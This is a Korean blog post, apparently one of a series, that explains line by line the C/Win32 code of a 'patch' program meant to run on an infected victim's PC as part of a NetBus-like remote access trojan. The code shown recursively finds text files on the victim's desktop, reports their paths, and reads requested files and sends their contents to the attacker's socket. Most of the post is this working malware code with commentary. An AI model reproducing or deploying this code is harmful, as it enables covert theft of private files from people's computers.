안녕하십니까 이번 포스팅에서는 감염자의 PC에서 실행되는 patch프로그램에 쓰인 함수들을 한 번 살펴보겠습니다.

- int _strcmp(char *str1);

공격자(클라이언트)로부터 메세지를 받았을 때 메세지에 따라 처리를 다르게 해주기 위해 만든 함수입니다.

- void txtfileSend(void);

자신의 바탕화면과 바탕화면의 하위폴더에 있는 txt파일들을 전부 찾아 그 경로들을 저장시키는 함수입니다.

- void txtfileCopy(void);

공격자로부터 받은 파일경로를 토대로 해당하는 파일을 찾아 데이터를 복사해주는 함수입니다.

- int _strcmp(char *str1)

공격자의 소켓으로부터 데이터를 받았을 때 메세지에 따라 처리를 다르게 해주는 함수입니다. 원리는 넷버스(공격자)의 _strcmp함수와 동일합니다.

- void txtfileSend(void)

이 프로그램이 실행되고 있는 PC 즉 감염자의 PC에서 txt파일을 찾아 그 경로를 저장시켜주는 함수입니다. 대상 txt파일은 바탕화면과 바탕화면의 하위폴더에 들어있는 txt파일 입니다.

- TCHAR PATH[500] = L"",temp[256] = L"";

FindFirstFile함수의 사용과 파일의 확장자를 저장하기 위해 TCHAR형 배열을 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수 사용을 위해 WIN32_FIND_DATA 구조체 변수를 선언합니다. 이 구조체는 앞 포스팅 중 메모장 부분에 자세히 나와 있습니다.

- HANDLE file;

찾은 파일의 핸들을 저장하기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len,Error;

for문에 사용할 i,j와 WideCharToMultiByte함수에 사용할 str_len, 그리고 에러코드를 저장할 변수 Error를 선언합니다.

- wsprintf(PATH,L"%s*.*",G_PATH);

G_PATH에 저장된 문자열을 %s*.*형식으로 바꾸어 PATH에 저장시킵니다. G_PATH는 현재 사용자의 데스크탑의 경로를 저장하고 있는 전역변수이며 기본적으로 

"C:\\Users\\사용자명\\Desktop\\" 값이 들어가 있습니다. 이 상태로 이 코드를 수행하게 되면 PATH에는 C:\\Users\\사용자명\\Desktop\\*.*가 저장되어집니다.

- file = FindFirstFile(PATH,&WFD);

위에 저장된 PATH를 바탕으로 FindFirstFile함수를 호출합니다. 이 함수는 앞 포스팅의 메모장 부분에서도 쓰였던 함수이며 PATH에 해당하는 파일을 찾아 그 파일의 핸들을 반환합니다. 이 때 그 파일의 속성이 WFD 구조체의 각 멤버변수에 저장됩니다.

추가로 파일명이 아닌 확장자가 경로명에 들어있으면 해당하는 확장자의 파일을 찾게 됩니다.

ex) C:\\Users\\사용자명\\Desktop\\*.txt -> 바탕화면에 있는 txt파일

     C:\\Users\\사용자명\\Desktop\\*.* -> 바탕화면에 있는 모든 파일

- while(file != INVALID_HANDLE_VALUE)

FindFirstFile의 결과가 INVALID_HANDLE_VALUE가 아니면 아래의 코드를 반복합니다.

INVALID_HANDLE_VALUE는 파일을 찾지 못했을 때 FindFirstFile이 반환하는 값입니다.

- if(lstrlen(WFD.cFileName) > 4)

j=4;

for(i=0;i<4;i++)

temp[i] = WFD.cFileName[lstrlen(WFD.cFileName)-j];

j--;

파일을 정상적으로 찾았다면 if문을 이용하여 WFD구조체의 cFileName멤버의 길이를 검사합니다. cFileName멤버는 파일의 이름이 저장되어있는 멤버입니다.

lstrlen함수를 사용하여 찾은 파일의 이름이 5자 이상일 경우(확장자 포함) 확장자를 추출하기 위해 다음 코드를 수행합니다.

확장자는 보통 4개의 글자로 이루어져 있으므로 (.txt,.exe) j값에 4를 대입한 후 for문을 이용하여 cFileName에 들어있는 파일이름의 뒷부분 4글자를 차례대로 가져와 temp에 저장시킵니다.

예를 들어 파일명이 abc.txt가 있으면

temp[0] = WFD.cFileName[7-4] --> temp[0] = WFD.cFileName[3](.)

temp[1] = WFD.cFileName[7-3] --> temp[1] = WFD.cFileName[4](t)

temp[2] = WFD.cFileName[7-2] --> temp[2] = WFD.cFileName[5](x)

temp[3] = WFD.cFileName[7-1] --> temp[3] = WFD.cFileName[6](t)

이런식으로 작동하게 됩니다.

즉 위 코드가 정상적으로 수행이 된다면 최종적으로 temp에는 .txt가 저장되어집니다.

- if((WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && lstrcmp(WFD.cFileName,L".") != 0) && lstrcmp(WFD.cFileName,L"..") != 0)

위의 if문과는 별개로 또 다시 if문을 사용하여 이번엔 파일의 속성을 검사합니다. 위의 조건문을 풀이해보자면 다음과 같습니다.

WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY  -> 해당 파일이 폴더이고

lstrcmp(WFD.cFileName,L".") != 0 -> 파일명이 .이 아니어야 하며

lstrcmp(WFD.cFileName,L"..") != 0 -> 파일명이 ..이 아닐 때

즉 이부분은 검색한 파일이 폴더냐 아니냐를 체크하는 부분입니다. 다만 폴더라 하더라도 파일명이 .이나 ..이 아니어야 합니다. 파일명이 점으로 되어있는 폴더는 리눅스를 해보신 분은 아마 감이 잡히실 건데 점 하나로 되어있는 폴더는 현재 디렉토리를 의미하며 점이 두개로 되어있는 폴더는 상위 디렉토리를 의미합니다.

이러한 폴더들은 리눅스가 아니라 윈도우에서도 존재하고 있으며 대부분 숨김폴더로 정해져있어 아마 보지 못하셨을 겁니다. 아무튼 우리는 이러한 폴더들을 사용할 필요가 없으므로 일부러 제외시켰습니다.

- wsprintf(G_PATH,L"%s%s\\",G_PATH,WFD.cFileName);

위의 if문에 해당하는 폴더일 경우 G_PATH와 폴더명을 이용하여 %s%s\\형식으로 바꾼 후 다시 G_PATH에 저장시킵니다. 

예를 들어 a라는 폴더가 있다면

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName -> a 일때 wsprintf함수를 수행하면 

G_PATH에는 C:\\Users\\사용자명\\Desktop\\a\\가 저장되어집니다.

- txtfileSend();

G_PATH가 다시 재정의 되었으면 자기 자신의 함수를 호출합니다. 즉 이것은 바탕화면에서 폴더를 찾았을 경우 그 폴더로 들어가 다시 파일을 찾는 것을 구현한것입니다. 추가로 함수 내에서 자기 자신의 함수를 호출하는 함수를 재귀함수라고 합니다.

예를 들어 G_PATH가 C:\\Users\\사용자명\\Desktop\\a\\일때 자기 자신의 함수를 호출하면 다음과 같이 처음부터 다시 코드를 수행하게 되는 겁니다.

wsprintf(PATH,L"%s*.*",G_PATH) 수행 -> G_PATH는 전역변수라 값이 바껴진 상태

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.*

그리고 다시 file = FindFirstFile(PATH,&WFD) 코드를 수행하게 되는 것이지요.

- for(i=lstrlen(PATH)-1;i>=0;i--)

재귀함수가 호출되서 처리를 다하고 나면 for문을 수행하여 G_PATH의 값을 재정의합니다. 왜냐하면 a라는 폴더에서 파일을 다 찾으면 다시 이전의 폴더로 돌아가야 하기 때문이지요. 이해를 쉽게 하기 위해 알고리즘을 다시 한번 살펴봅시다.

PATH -> C:\\Users\\사용자명\\Desktop\\*.* 일 때 검색한 파일이 폴더(a)라면

G_PATH를 C:\\Users\\사용자명\\Desktop\\a\\로 바꾸고 재귀함수 호출

그러면 재귀함수가 호출되면서 

PATH(두번째)가 C:\\Users\\사용자명\\Desktop\\a\\*.*로 재정의됩니다.

여기까지는 아까 설명한 부분입니다. 자 그러면 폴더 내의 파일을 다 찾은 경우에는 어떻게 될까요?

폴더내의 파일을 다 찾으면 호출한 재귀함수가 종료됩니다. 그러면 다시 원래의 재귀함수를 호출한 부분으로 되돌아 오겠지요? 그런데 여기 중요한 점은 재귀함수의 호출이 종료되면 PATH의 값이 재귀함수를 호출하기 전의 값으로 되돌아옵니다. 즉

재귀함수가 호출되었을 때 

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.* 이었다면

재귀함수가 종료되었을 때는 이전의 PATH값인

PATH -> C:\\Users\\사용자명\\Desktop\\*.*가 된다는 것이지요.

다만 PATH값이 돌아온다고 G_PATH값이 돌아오는 것은 아니기에 우리는 수동으로 G_PATH값을 원래대로 되돌릴 필요가 있습니다.

이를 위해 for문을 이용하여 PATH의 맨 뒷자리부터 검사를 시작합니다. 위의 i값을 현재 상황에 맞추어 본다면 

i = 25-1 -> 24가 대입되어 집니다. 물론 이값은 사용자명과 폴더 경로 명에 따라 달라질 수 있습니다. 이렇게 정의된 i가 -1이 될 때까지 하나씩 감소시키면서 아래의 코드를 수행합니다.

- if(PATH[i] == '\\')

현재 검사중인 i번째 자리의 PATH 문자 값이 \이면 아래의 코드를 수행합니다.

- if(i == lstrlen(PATH)-1)

break;

  else

PATH[i+1] = '\0';

break;

i값이 lstrlen(PATH)-1라면 break를 이용해 그냥 for문을 탈출합니다. 이 뜻은 PATH의 마지막 글자가 \이면 그냥 탈출한다는 뜻입니다. 

반대로 마지막 글자가 \가 아니라면 현재 \가 들어있는 인덱스의 다음 인덱스에 NULL값을 넣어 \을 PATH의 마지막 글자로 만들어줍니다.

이 코드가 수행되고 나면 PATH는 

C:\\Users\\사용자명\\Desktop\\ 이렇게 수정되어 집니다.

- lstrcpy(G_PATH,PATH);

바뀐 PATH값을 G_PATH에 넣어 재귀함수를 호출 하기 전의 G_PATH값으로 되돌립니다.

- else if(lstrcmp(temp,L".txt") == 0)

위의 큰 if문이 폴더를 찾았을 때의 처리라면 이 부분은 폴더가 아닌 파일을 찾았을 때의 처리입니다. 찾은 파일이 폴더가 아니라면 if문을 이용해 찾은 파일의 확장자를 검사합니다. 그리고 그 확장자(temp)의 값이 txt라면 아래의 코드를 수행합니다.

- wsprintf(PATH,L"%s%s",G_PATH,WFD.cFileName);

PATH의 값을 G_PATH와 WFD.cFileName값을 이용해 %s%s형식으로 수정합니다. 즉 

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName - > 1.txt

PATH -> C:\\Users\\사용자명\\Desktop\\1.txt

이렇게 됩니다.

- str_len = WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),G_String.txtStrings[G_txtfileSend_i],str_len,NULL,NULL);

유니코드 문자열인 PATH를 멀티바이트로 변환시켜 G_String.txtStrings[G_txtfileSend_i]에 저장시킵니다. 여기서 G_String.txtStrings은 나중에 send함수로 소켓에 보낼 구조체의 멤버를 뜻하며 G_txtfileSend_i는 G_String.txtStrings의 인덱스 값인 전역변수입니다. 초기에는 0으로 선언되어 있습니다. 이러한 작업을 해주는 이유는 send함수로 데이터를 보낼때에는 멀티바이트 형으로 보내야 하기 때문입니다.

- G_txtfileSend_i++;

하나의 텍스트파일 경로를 저장하였으면 G_txtfileSend_i를 하나 증가시키고 if문 처리가 끝이 납니다.

- FindNextFile(file,&WFD);

하나의 파일에 대한 처리가 끝났다면 FindNextFile함수를 호출하여 다음 파일을 찾습니다. FindNextFile함수를 살펴봅시다.

FindFirstFile 등으로 찾은 파일의 핸들을 이용하여 다음 파일을 찾게 해주는 함수입니다. 이 때 파일을 찾는 조건(필터)는 FindFirstFile과 동일합니다. 그리고 이 함수로 찾은 파일의 정보는 두번째 인자인 WFD에 들어가게 됩니다. 

- Error = GetLastError();

위의 FindNextFile함수와 관련된 에러코드를 Error에 집어넣습니다. 에러가 발생하지 않았다면 Error에는 0이 들어가 있으며 만약 에러가 발생하였다면 0 이외의 값이 들어가게 됩니다.

- if(Error == ERROR_NO_MORE_FILES)

SetLastError(1);

FindClose(file);

break;

Error의 값이 ERROR_NO_MORE_FILES일때의 처리입니다. 이 ERROR_NO_MORE_FILES값은 더 이상 찾을 파일이 없을 경우 FindNextFile함수가 발생시키는 에러입니다. 이 에러코드가 발생하면 검사중인 폴더 내의 파일을 다 찾았다는 뜻이므로 file의 핸들을 닫고 break문을 이용하여 while문을 탈출합니다.

한가지 특이한 점이 있다면 SetLastError함수를 사용하여 ERROR_NO_MORE_FILES 에러의  코드값을 1로 지정했다는 부분입니다. 이러한 작업을 해준 이유는 어떠한 폴더 내에서 파일을 다 찾아서 재귀함수를 종료하고 상위 폴더로 돌아간 후 다시 FindNextFile함수를 호출하면 파일을 다 찾지 않았음에도 불구하고 ERROR_NO_MORE_FILES라는 에러코드가 발생하기 때문입니다. 그래서 이를 방지하기 위해 ERROR_NO_MORE_FILES 에러코드를 1로 설정하여 ERROR_NO_MORE_FILES에러가 발생하였음에도 불구하고 GetLastError에서 아까 지정한 1을 반환함으로써 위의 if문을 처리하지 않도록 해주었습니다.

물론 진짜 파일이 없어서 발생하는 ERROR_NO_MORE_FILES에러는 SetLastError의 영향을 받지 않아 if문을 처리할 수 있습니다. 아직 자세한 이유는 모르겠습니다만 일단 이렇게 코딩을 하니 동작에는 지장이 없어서 쓰고 있습니다.

자 마지막으로 남은 함수를 살펴봅시다.

- void txtfileCopy(void)

이 함수는 공격자의 소켓으로부터 파일을 복사해달라는 데이터를 받았을 때 실행하는 함수이며 파일의 경로를 받아 그 경로에 해당하는 파일을 열어 데이터를 복사시키고 그 복사된 데이터를 공격자의 소켓에 전송해주는 역할을 합니다.

- int str_len;

멀티바이트로 받은 파일의 경로를 유니코드로 변환시키기 위해 선언한 변수입니다.

- HANDLE file,file2;

CreateFile함수의 핸들과 FindFirstFile의 핸들을 받을 변수 두개를 선언합니다.

- TCHAR Wstring[256] = L"";

유니코드 문자열을 저장할 변수 Wstring을 선언과 동시에 초기화 시킵니다.

- DWORD size;

ReadFile함수에 쓰일 DWORD형 변수를 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수의 인자인 WIN32_FIND_DATA형 구조체 변수를 선언합니다.

- str_len = MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

  MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

공격자의 소켓으로부터 받은 파일 경로인 G_String의 멤버변수인 str2를 유니코드로 변환시켜 Wstring에 저장시킵니다.

- file = CreateFile(Wstring,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

Wstring에 저장된 경로를 이용하여 파일을 OPEN_EXISTING 옵션으로 엽니다. 

- if(file == INVALID_HANDLE_VALUE)

CreateFile함수가 파일을 불러오지 못해 file의 결과값이 INVALID_HANDLE_VALUE인 경우 아래의 코드를 수행합니다. 일종의 에러처리입니다.

- if(GetLastError() == ERROR_ACCESS_DENIED)

strcpy(G_String.str,"filecopy - ACCESS_DENIED");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

GetLastError함수를 호출하여 에러코드의 값이 ERROR_ACCESS_DENIED인 경우 

G_String.str에 filecopy - ACCESS_DENIED 문자열을 넣은 후 send함수를 호출하여 해당 구조체를 공격자 소켓(G_AcceptS)에 전송합니다. 이 send함수는 나중에 자세히 설명드리겠습니다.

- else

strcpy(G_String.str,"filecopy - txtnotfound");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

만약 위의 에러가 아니라면 문자열을 filecopy - txtnotfound로 바꿔서 전송합니다.

- return;

에러메세지를 공격자에 보내고 나면 return을 호출하여 함수를 종료합니다.

- G_String.size = GetFileSize(file,NULL);

파일을 정상적으로 여는데 성공하였다면 GetFileSize함수를 호출하여 size를 구해 size멤버 변수에 저장시킵니다.

- if(G_String.size >= 500000 || G_String.size == 0)

strcpy(G_String.str,"filecopy - sizeError");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

CloseHandle(file);

return;

이 때 파일의 크기가 데이터를 담는 배열(G_String.string[500000])보다 크거나 또는 size의 크기가 0일 경우 sizeError문자열을 공격자 소켓에 전송 후 핸들을 닫고 종료시킵니다.

- memset(G_String.string,0,sizeof(G_String.string));

복사한 데이터를 담을 G_String.string배열을 초기화시킵니다.

- ReadFile(file,G_String.string,G_String.size,&size,NULL);

해당 파일의 데이터를 G_String.size만큼 읽어 G_String.string에 저장시킵니다.

- file2 = FindFirstFile(Wstring,&WFD);

FindFirstFile함수를 호출해 아까 CreateFile함수로 연 파일을 찾습니다.

- memset(G_String.str2,0,sizeof(G_String.str2));

  str_len = WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),G_String.str2,str_len,NULL,NULL);

str2 멤버변수를 초기화시켜준 후 WFD의 멤버변수인 cFileName(파일 이름)을 멀티바이트로 변환시켜 str2 멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txtcopycomplete");

str 멤버변수에 텍스트 복사가 완료되었다는 문자열을 집어넣습니다.

- send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

해당 데이터가 들어있는 구조체를 공격자 소켓에 통째로 전송시킵니다.

- CloseHandle(file);

  FindClose(file2);

CreateFile의 핸들은 CloseHandle함수로 닫고 FindFirstFile의 핸들은 FindClose로 닫습니다.

네 이상으로 패치 함수의 포스팅을 마치겠습니다. 다음 포스팅에선 공격자가 쓰는 넷버스의 코드를 전부 살펴보도록 하겠습니다.

Posted by englishmath